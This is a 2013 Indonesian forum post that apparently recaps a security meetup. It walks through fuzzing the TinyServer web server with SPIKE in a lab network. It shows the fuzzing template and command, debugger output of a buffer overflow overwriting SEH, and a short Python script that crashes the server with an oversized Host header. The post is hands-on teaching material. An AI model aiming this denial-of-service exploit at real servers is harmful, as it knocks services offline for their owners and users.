10-07-2013, 05:08 PM
Kali ini gw mau share mengenai fuzzing yg menggunakan tools spike di BackTrack 5 R3. Ini adalah rangkuman IBT gath regional jabodetabek yang dilangsungkan pada hari Minggu 6 Oktober 2013 kemarin sore.
Trims to @xnod_die @arfa , adul (ISD founder), ekijsp, @ballons , gondrong
Special for ilyas yang telah mempersiapkan sekretariat
Ok POC kali ini saya ambil dari sebuah webserver windows application (tiny web server)
http://tinyserver.sourceforge.net/
Host target IP : 192.168.1.3
Attacker : 192.168.1.2 * BackTrack 5 R3
Ok now let start ..
[hide]
Ok langkah pertama simple kita kudu meniliti tcp stream yang terjadi antara klien dan server. Gw menggunakan wireshark untuk hal ini.
Beberapa informasi telah kita dapatkan.
spike membutuhkan template untuk beroperasi, so gw buat berdasarkan informasi tcp stream wireshark.
Isikan variabel2nya seperti pada snipet di atas then save dengan ekstensi .apk
Ok ane lanjut ke spike ..
root@31c3L:/cd /pentest/fuzzers/spike/src/
root@31c3L:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.1.3 80 /root/tiny.spk 0 0
ATTACK START HERE ---- !
Total Number of Strings is 681
--------- sniff -----------
fuzzz ,. web server tersebut mengalami crash ...
Ok sekarang kita coba ujicoba kembali aplikasi tiny server dengan ollydbg. lakukan pengujian kembali dengan spike .. hmm nice result perhatikan alamat memory di bawah ini.
bufferOverflow berhasil di kirim.
Result : aplikasi tersebut memiliki Remote DOS vulnerability
Log data
dari start server application sampai server terminated
Done.. tinggal buat exploitnya, pada beberapa kasus dengan hasil buffer ASCII kita bahkan bisa menyusupkan shellcode.
[/hide]
Ok.. semoga berguna .
Original post : http://zico-ekel.com/fuzzing-with-spike/
Trims to @xnod_die @arfa , adul (ISD founder), ekijsp, @ballons , gondrong
Special for ilyas yang telah mempersiapkan sekretariat
Ok POC kali ini saya ambil dari sebuah webserver windows application (tiny web server)
http://tinyserver.sourceforge.net/
Host target IP : 192.168.1.3
Attacker : 192.168.1.2 * BackTrack 5 R3
Ok now let start ..
[hide]
Ok langkah pertama simple kita kudu meniliti tcp stream yang terjadi antara klien dan server. Gw menggunakan wireshark untuk hal ini.
Code:
GET / HTTP/1.1
Host: 192.168.1.3
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.0 200 OK
Date: Mon, 7 Oct 2013 15:09:03 GMT
Server: TinyServer v1.0.1
MIME-version: 1.0
Content-type: text/html
Last-modified: Fri, 6 Jul 2001 23:30:06 GMT
Connection: keep-alive
Content-length: 507
<head>
<title></title>
</head>
<body bgcolor="#FFFFCC">
<table border="1" width="100%">
<tr>
<td width="100%" bgcolor="#00FFFF"><b>Tiny Server Installation Successful</b></td>
</tr>
</table>
<p>If you can see this, it means that the installation of the TinyServer. You
may now add content to this directory and replace this page or change the
webpage directory from configuration section.</p>
<p>For Details see the <a href="readme.txt" target="_blank">readme.txt</a> file.</p>
Beberapa informasi telah kita dapatkan.
spike membutuhkan template untuk beroperasi, so gw buat berdasarkan informasi tcp stream wireshark.
Code:
s_string_variable("GET");
s_string_variable(" ");
s_string_variable("/");
s_string_variable(" ");
s_string_variable("HTTP/1.1");
s_string("\r\n");s_string_variable(" ");
Isikan variabel2nya seperti pada snipet di atas then save dengan ekstensi .apk
Ok ane lanjut ke spike ..
root@31c3L:/cd /pentest/fuzzers/spike/src/
root@31c3L:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.1.3 80 /root/tiny.spk 0 0
ATTACK START HERE ---- !
Total Number of Strings is 681
Code:
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Variablesize= 2
Fuzzing Variable 0:6
Variablesize= 7
Fuzzing Variable 0:7
Variablesize= 48
Fuzzing Variable 0:8
Variablesize= 45
Fuzzing Variable 0:9
Variablesize= 49
Fuzzing Variable 0:10
Variablesize= 46
Fuzzing Variable 0:11
Variablesize= 49
Fuzzing Variable 0:12
Variablesize= 46
Fuzzing Variable 0:13
Variablesize= 47
Fuzzing Variable 0:14
Variablesize= 44
Fuzzing Variable 0:15
Variablesize= 53
Fuzzing Variable 0:16
Variablesize= 50
Fuzzing Variable 0:17
Variablesize= 30
Fuzzing Variable 0:18
Variablesize= 23
Fuzzing Variable 0:19
Variablesize= 48
Fuzzing Variable 0:20
Variablesize= 36
Fuzzing Variable 0:21
Variablesize= 18
Fuzzing Variable 0:22
Variablesize= 15
Fuzzing Variable 0:23
Variablesize= 16
Fuzzing Variable 0:24
Variablesize= 3
Fuzzing Variable 0:25
Variablesize= 4
Fuzzing Variable 0:26
Variablesize= 5000
Fuzzing Variable 0:27
Variablesize= 5000
Fuzzing Variable 0:28
Variablesize= 5000
Fuzzing Variable 0:29
Variablesize= 5000
Fuzzing Variable 0:30
Variablesize= 2050
Fuzzing Variable 0:31
--------- sniff -----------
fuzzz ,. web server tersebut mengalami crash ...
Ok sekarang kita coba ujicoba kembali aplikasi tiny server dengan ollydbg. lakukan pengujian kembali dengan spike .. hmm nice result perhatikan alamat memory di bawah ini.
Code:
0012F840 |001FAF84 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012F844 |012841A8
0012F848 |0012FDF8 Pointer to next SEH record
0012F84C |00401326 SE handler
0012F850 |0012F80C
0012F854 |004011D8 TinyServ.004011D8
0012F858 |00000001
0012F85C \0012F870
0012F860 73471CE3 RETURN to MSVBVM60.73471CE3
bufferOverflow berhasil di kirim.
Result : aplikasi tersebut memiliki Remote DOS vulnerability
Code:
001FAF84 41 INC ECX
001FAF85 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAF88 41 INC ECX
001FAF89 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAF8C 41 INC ECX
001FAF8D 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAF90 41 INC ECX
001FAF91 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAF94 41 INC ECX
001FAF95 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAF98 41 INC ECX
001FAF99 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAF9C 41 INC ECX
001FAF9D 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFA0 41 INC ECX
001FAFA1 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFA4 41 INC ECX
001FAFA5 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFA8 41 INC ECX
001FAFA9 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFAC 41 INC ECX
001FAFAD 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFB0 41 INC ECX
001FAFB1 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFB4 41 INC ECX
001FAFB5 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFB8 41 INC ECX
001FAFB9 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFBC 41 INC ECX
001FAFBD 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFC0 41 INC ECX
001FAFC1 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFC4 41 INC ECX
001FAFC5 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFC8 41 INC ECX
001FAFC9 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFCC 41 INC ECX
001FAFCD 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFD0 41 INC ECX
001FAFD1 0041 00 ADD BYTE PTR DS:[ECX],AL
001FAFD4 41 INC ECX
Log data
dari start server application sampai server terminated
Code:
File 'C:\Program Files\Tiny Server\TinyServer.exe'
New process with ID 000005BC created
Main thread with ID 00000218 created
7C8106E9 New thread with ID 000005D4 created
7C94FFE3 New thread with ID 00000690 created
00400000 Module C:\Program Files\Tiny Server\TinyServer.exe
22170000 Module C:\Program Files\Tiny Server\MSWINSCK.OCX
5AD70000 Module C:\WINDOWS\system32\uxtheme.dll
5D090000 Module C:\WINDOWS\system32\comctl32.dll
662B0000 Module C:\WINDOWS\system32\hnetcfg.dll
71A50000 Module C:\WINDOWS\system32\mswsock.dll
71A90000 Module C:\WINDOWS\System32\wshtcpip.dll
71AA0000 Module C:\WINDOWS\system32\WS2HELP.dll
71AB0000 Module C:\WINDOWS\system32\WS2_32.dll
71AD0000 Module C:\WINDOWS\system32\WSOCK32.dll
73420000 Module C:\WINDOWS\system32\MSVBVM60.DLL
76FD0000 Module C:\WINDOWS\system32\CLBCATQ.DLL
77050000 Module C:\WINDOWS\system32\COMRes.dll
77120000 Module C:\WINDOWS\system32\OLEAUT32.dll
773D0000 Module C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
774E0000 Module C:\WINDOWS\system32\ole32.dll
77C00000 Module C:\WINDOWS\system32\VERSION.dll
77C10000 Module C:\WINDOWS\system32\msvcrt.dll
77DD0000 Module C:\WINDOWS\system32\ADVAPI32.dll
77E70000 Module C:\WINDOWS\system32\RPCRT4.dll
77F10000 Module C:\WINDOWS\system32\GDI32.dll
77F60000 Module C:\WINDOWS\system32\SHLWAPI.dll
77FE0000 Module C:\WINDOWS\system32\Secur32.dll
7C800000 Module C:\WINDOWS\system32\kernel32.dll
7C900000 Module C:\WINDOWS\system32\ntdll.dll
7C9C0000 Module C:\WINDOWS\system32\shell32.dll
7E410000 Module C:\WINDOWS\system32\USER32.dll
7E720000 Module C:\WINDOWS\system32\SXS.DLL
7C90120E Attached process paused at ntdll.DbgBreakPoint
Thread 00000690 terminated, exit code 0
7C812AEB Inexact floating-point result
Done.. tinggal buat exploitnya, pada beberapa kasus dengan hasil buffer ASCII kita bahkan bisa menyusupkan shellcode.
Code:
#!/usr/bin/python
import socket
import os
import sys
crash = "A." * 5000
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\r\n"
buffer+="Content-Length : 1048580\r\n\r\n"
print "[*] Exploit c0ded by Zee Eichel"
print "[*] Sending Packet HTTP request to Tiny"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.3", 80))
expl.send(buffer)
expl.close()
[/hide]
Ok.. semoga berguna .
Original post : http://zico-ekel.com/fuzzing-with-spike/
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only
for more question and sharing about security and Opensource only